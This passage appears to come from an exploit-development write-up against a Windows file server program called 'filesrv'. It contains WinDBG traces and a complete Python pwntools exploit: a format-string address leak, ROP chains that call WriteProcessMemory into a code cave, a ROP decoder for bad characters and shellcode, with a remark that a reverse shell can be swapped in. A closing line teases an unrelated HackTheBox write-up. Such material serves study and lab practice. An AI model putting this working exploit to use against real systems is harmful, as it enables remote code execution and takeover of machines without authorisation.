0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x8b299 + binary_base, # mov esp, ecx; ret;
When we break on this last stack pivot gadget we can see that we indeed return into WriteProcessMemory! Note that directly after this address we placed the address of the codecave which means that we will return into the shellcode after WriteProcessMemory is done. We confirm in WinDBG that that we can step the nops in our shellcode after returning from the function:
filesrv+0x8b29b:
3fb3b29b c3 ret
0:003> p
KERNEL32!WriteProcessMemoryStub:
76c45240 8bff mov edi,edi
0:003> pt
KERNELBASE!WriteProcessMemory+0x7e:
76b19dfe c21400 ret 14h
0:003> p
filesrv+0x1010:
3fab1010 90 nop
filesrv+0x1011:
3fab1011 90 nop
...
This indeed worked. If we now let execution continue we get our calc:
To get a reverse shell we can replace the shellcode but it still needs to have not more than about 30 bad characters. This can be a bit tricky when using msfvenom but is not difficult to achieve with custom shellcode that is already null-byte free (so the rop decoder does not have to do it).
Finally here is the complete exploit:
#!/usr/bin/env python3
from pwn import *
offset = 1032
size = 4000
sc = b""
sc += b"\x90"*0x30
sc += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
sc += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
sc += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
sc += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
sc += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
sc += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
sc += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
sc += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
sc += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
sc += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
sc += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
sc += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
sc += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
sc += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
sc += b"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
p = remote('192.168.153.212',2121, typ='tcp', level='debug')
p.sendline(b"LST |%p|%p|%p|%p|")
leak = p.recvline(keepends=False).split(b"|")[1:]
binary_leak = int(leak[1].decode(),16)
binary_base = binary_leak - 0x14120;
log.info("Binary base: "+hex(binary_base))
def rop_decoder():
rop = b""
# 1) Align eax register with shellcode
rop += p32(0x4CBFB + binary_base) # pop eax
rop += p32(writeable)
rop += p32(0x683da + binary_base) # push esp ; add dword [eax], eax ; pop ecx; ret;
rop += p32(0x704F4 + binary_base) # pop eax; ret;
rop += p32(0x116ea + binary_base) # 0x522 this offset to the shellcode depends on how long the 2nd rop chain is
rop += p32(0x2bb8e + binary_base) # mov eax, dword ptr [eax]; ret;
rop += p32(0x37958 + binary_base) # add eax, 2; sub edx, 2; pop ebp; ret;
rop += p32(0x41414141)
rop += p32(0x17781 + binary_base) # add eax, ecx; pop ebp; ret 4;
rop += p32(0x41414141)
rop += p32(binary_base + 0x159d)*(4) # ropnop
# 2) Iterate over every bad char & add offset to all of them
offset = 0
neg_offset = (-offset) & 0xffffffff
value = 0x11111155
for i in range(len(bad_indices)):
# get the offset from last bad char to this one - so we only iterate over bad chars and not over every single byte
if i == 0:
offset = bad_indices[i]
else:
offset = bad_indices[i] - bad_indices[i-1]
neg_offset = (-offset) & 0xffffffff
# get offset to next bad char into ecx
rop += p32(0x0102e + binary_base) # pop ecx; ret;
rop += p32(neg_offset)
# adjust eax by this offset to point to next bad char
rop += p32(0x3ec4c + binary_base) # sub eax, ecx; pop ebp; ret;
rop += p32(0x41414141)
rop += p32(0x102e + binary_base) # pop ecx; ret;
rop += p32(value)
rop += p32(0x7f17a + binary_base) # add byte ptr [eax], cl; add cl, cl; ret;
print(f"({i}: {len(rop)})")
return rop
# since this is writeprocessmemory, we will have to encode the shellcode & decode it via rop
def map_bad_chars(sc):
badchars = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x20\x2F\x5C"
i = 0
indices = []
while i < len(sc):
for c in badchars:
if sc[i] == c:
indices.append(i)
i+=1
return indices
bad_indices = map_bad_chars(sc)
def encode_shellcode(sc):
badchars = [ 0x0, 0x1 ,0x2 ,0x3 ,0x4 ,0x5 ,0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0x20, 0x2F, 0x5C]
replacements = []
encoding_offset = -0x55
for c in badchars:
new = c + encoding_offset
if new < 0:
new += 256
replacements.append(new)
print(f"Badchars: {badchars}")
print(f"Replacments: {replacements}")
badchars = bytes(badchars)
replacements = bytes(replacements)
input("Paused")
transTable = sc.maketrans(badchars, replacements)
sc = sc.translate(transTable)
return sc
sc = encode_shellcode(sc)
print(f"Amount of bad chars in sc: {len(bad_indices)}")
pivot = p32(binary_base + 0x11396) # add esp,0xD60
writeable = 0xa635a + binary_base
codecave = 0x1010 + binary_base
skeleton = [
0x41414141, # WriteProcessMemory address (IAT WriteFile + offset)
codecave, # Shellcode Return Address
0xffffffff, # Pseudo process handle to current process (-1)
codecave, # Code cave address (write where)
0x42424242, # dummy lpBuffer (write what)
0x43434343, # dummy nSize
writeable, # lpNumberOfBytesWritten
]
rop_setup = [
# Get a pointer to the skeleton
0x4CBFB + binary_base, # pop eax (will be dereferenced by a side effect gadget)
writeable,
0x683da + binary_base, # push esp ; add dword [eax], eax ; pop ecx; ret;
0x704F4 + binary_base, # pop eax; ret;
0x4bb2d + binary_base, # 0x448 (offset to skeleton on stack)
0x2bb8e + binary_base, # mov eax, dword ptr [eax]; ret;
0x7609f + binary_base, # add eax, 4; ret;
0x3039f + binary_base, # mov edx, eax; mov eax, esi; pop esi; ret;
0x41414141,
0x31564 + binary_base, # sub ecx, edx; cmp ecx, eax; sbb eax, eax; inc eax; pop ebp; (add offset to skeleton, ecx holds ptr to skeleton now)
0x41414141,
# Write WriteProcessMemory address to skeleton+0
0x704F4 + binary_base, # pop eax; ret;
0x9015C + binary_base, # IAT CreateFile
0x2BB8E + binary_base, # mov eax, dword ptr [eax] // dereference IAT to get lib ptr
0x636a2 + binary_base, # pop edx; ret;
0xfffee370, # -00011c90, offset from WriteFile to WriteProcessMemory
0x59a05 + binary_base, # sub eax, edx; pop ebp; ret;
0x41414141,
0x7ab35 + binary_base, # mov dword ptr [ecx], eax; pop ebp; ret;
# Move skeleton pointer ahead
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0; 4
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0; 8
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0; 12
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0; 16
0x0582b + binary_base,
# Write shellcode address to skeleton dummy value
0x16238 + binary_base, # mov eax, ecx; ret;
0x62646 + binary_base, # add eax, 0x7f; ret;
0x62646 + binary_base, # add eax, 0x7f; ret;
0x62646 + binary_base, # add eax, 0x7f; ret;
0x62646 + binary_base, # add eax, 0x7f; ret;
0x62646 + binary_base, # add eax, 0x7f; ret;
0x62646 + binary_base, # add eax, 0x7f; ret;
0x62646 + binary_base, # add eax, 0x7f; ret;
0x62646 + binary_base, # add eax, 0x7f; ret;
0x62646 + binary_base, # add eax, 0x7f; ret;
0x62646 + binary_base, # add eax, 0x7f; ret;
0x62646 + binary_base, # add eax, 0x7f; ret;
0x4d1ed + binary_base, # sub eax, 0x30; pop ebp; ret;
0x41414141,
0x76096 + binary_base, # add eax, 8; ret;
0x76096 + binary_base, # add eax, 8; ret;
0x76096 + binary_base, # add eax, 8; ret;
0x76096 + binary_base, # add eax, 8; ret;
0x76096 + binary_base, # add eax, 8; ret;
0x76096 + binary_base, # add eax, 8; ret;
0x76096 + binary_base, # add eax, 8; ret;
0x76096 + binary_base, # add eax, 8; ret;
0x76096 + binary_base, # add eax, 8; ret;
0x76096 + binary_base, # add eax, 8; ret;
0x76096 + binary_base, # add eax, 8; ret;
0x7ab35 + binary_base, # mov dword ptr [ecx], eax; pop ebp; ret;
0x41414141,
# Write size (0x401) to skeleton dummy value
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x704F4 + binary_base, # pop eax
0x19b3 + binary_base, # addr of 0x401;
0x2bb8e + binary_base, # mov eax, dword ptr [eax]; ret;
0x7ab35 + binary_base, # mov dword ptr [ecx], eax; pop ebp; ret;
0x41414141,
# Move ecx back to skeleton & pivot stack there to execute the function
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x8b299 + binary_base, # mov esp, ecx; ret;
]
rop1 = b""
# add skeleton
for g in skeleton:
rop1 += p32(g)
# add ropnops (stack pivot not exact)
rop1 += p32(binary_base + 0x159d)*(24) # ropnop
# add rop shellcode decoder
rop1 += rop_decoder()
# fill up with ropnops until pivot gadget
for i in range(0, offset-len(rop1)-4, 4):
rop1 += p32(0x159d + binary_base) # ropnop
# jump over pivot gadget
rop1 += p32(0x3da53 + binary_base) # add esp, 0x10; ret;
rop2 = b""
rop2 += p32(binary_base + 0x159d)*(10) # ropnop
for g in rop_setup:
print(hex(g))
rop2 += p32(g)
log.info("Sending payload..")
buf = b""
buf += b"LST "
buf += rop1
buf += b"B" * 4
buf += pivot
buf += rop2
buf += sc
buf += b"D" * (size-len(buf))
p.sendline(buf)
input("Press enter to continue..")
p.close()
Misc
Finding a codecave
A codecave is an (executable) memory area of a binary that is unused and can be used to host attacker provided code. We can find the code section as follows:
Now we can use some unused area between 3fab1000 and 3fab1000+0008f000=3FB40000. A good candidate to look is towards the end β but really you can use anything if you are confident the binary does not crash when you overwrite it or you donβt care.
Finding a writable address
Often you need writeable addresses when calling Windows API functions because they return data that way. To find one we can look at the .data section & chose something that is likely not used:
!dh filesrv
...
SECTION HEADER #3
.data name
332C virtual size
A6000 virtual address
1E00 size of raw data
A5400 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
...
0:001> ? filesrv + A6000 + 332C + 4
Evaluate expression: 1068864304 = 3fb59330
0:001> dd 3fb59330
3fb59330 00000000 00000000 00000000 0000000
!vprot 3fb59330
BaseAddress: 3fb59000
AllocationBase: 3fab0000
AllocationProtect: 00000080 PAGE_EXECUTE_WRITECOPY
RegionSize: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 01000000 MEM_IMAG
Finding ROP Gadgets
I had a lot of success with ropper and its interactive console. Another good alternative is rp++.
We are solving Anubis, a 50-point windows machine on HackTheBox which involves an ASP template injection, windows containers, and stealing hashes with Responder. Later weβll escalate privileges using noPAC.